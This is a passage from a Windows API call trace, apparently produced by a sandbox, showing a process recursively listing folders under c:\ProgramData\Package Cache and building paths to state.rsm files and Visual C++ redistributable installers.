lpString2="..") returned 1 [0123.911] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.911] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 49 [0123.911] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0123.911] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0123.911] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned 79 [0123.911] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0123.911] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.911] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.911] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.911] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.911] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.911] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.911] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.911] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.911] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned 79 [0123.911] lstrlenW (lpString="packages") returned 8 [0123.911] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0123.911] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.911] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.911] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.911] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1 [0123.911] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1 [0123.911] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.911] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 49 [0123.911] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0123.911] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0123.911] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned 79 [0123.911] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0123.911] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.912] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.912] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.912] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.912] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.912] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.912] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.912] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.912] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned 79 [0123.912] lstrlenW (lpString="packages") returned 8 [0123.912] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0123.912] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.912] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.912] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.912] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1 [0123.912] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1 [0123.912] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.912] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38 [0123.912] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0123.912] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0123.912] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0123.912] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0123.912] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.912] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.912] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.912] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.912] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.912] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.912] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0123.912] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0123.912] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0123.912] lstrlenW (lpString="state.rsm") returned 9 [0123.912] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0123.912] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned 77 [0123.912] lstrcpyW (in: lpString1=0x24ba148, lpString2="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0123.912] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.912] lstrcmpW (lpString1="vcredist_x64.exe", lpString2=".") returned 1 [0123.912] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="..") returned 1 [0123.912] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0123.912] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0123.912] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0123.912] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned 84 [0123.912] lstrcpyW (in: lpString1=0x24ba1f0, lpString2="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0123.912] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.912] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.913] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.913] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1 [0123.913] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1 [0123.913] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.913] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 49 [0123.913] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0123.913] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0123.913] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned 79 [0123.913] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0123.913] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.913] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.913] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.913] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.913] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.913] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.913] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.913] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.913] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned 79 [0123.913] lstrlenW (lpString="packages") returned 8 [0123.913] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0123.913] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.913] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.913] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.913] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1 [0123.913] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1 [0123.913] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.913] lstrlenW (lpString="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 50 [0123.913] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0123.913] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0123.913] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned 80 [0123.913] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0123.913] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.913] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.913] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.913] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.913] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.913] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.913] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.913] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.913] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned 80 [0123.913] lstrlenW (lpString="packages") returned 8 [0123.913] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0123.914] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.914] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.914] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.914] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1 [0123.914] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1 [0123.914] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.914] lstrlenW (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38 [0123.914] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0123.914] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0123.914] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0123.914] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0123.914] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.914] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.914] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.914] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.914] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.914] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.914] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0123.914] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0123.914] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0123.914] lstrlenW (lpString="state.rsm") returned 9 [0123.914] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0123.914] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0123.914] lstrcpyW (in: lpString1=0x24ba2a8, lpString2="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0123.914] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.914] lstrcmpW (lpString1="VC_redist.x64.exe", lpString2=".") returned 1 [0123.914] lstrcmpW (lpString1="VC_redist.x64.exe", lpString2="..") returned 1 [0123.915] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0123.915] lstrlenW (lpString="VC_redist.x64.exe") returned 17 [0123.915] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="VC_redist.x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0123.915] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0123.915] lstrcpyW (in: lpString1=0x24ba350, lpString2="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0123.915] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.915] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.915] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.915] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1 [0123.915] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1 [0123.915] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.915] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0123.915] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0123.915] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0123.915] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0123.915] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0123.915] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.915] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.915] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.915] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.915] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.915] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.915] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0123.915] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0123.915] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0123.915] lstrlenW (lpString="state.rsm") returned 9 [0123.915] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0123.915] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0123.915] lstrcpyW (in: lpString1=0x24ba408, lpString2="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0123.915] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.915] lstrcmpW (lpString1="vcredist_x86.exe", lpString2=".") returned 1 [0123.915] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="..") returned 1 [0123.915] lstrlenW (lpString="c:\\ProgramData\\Package 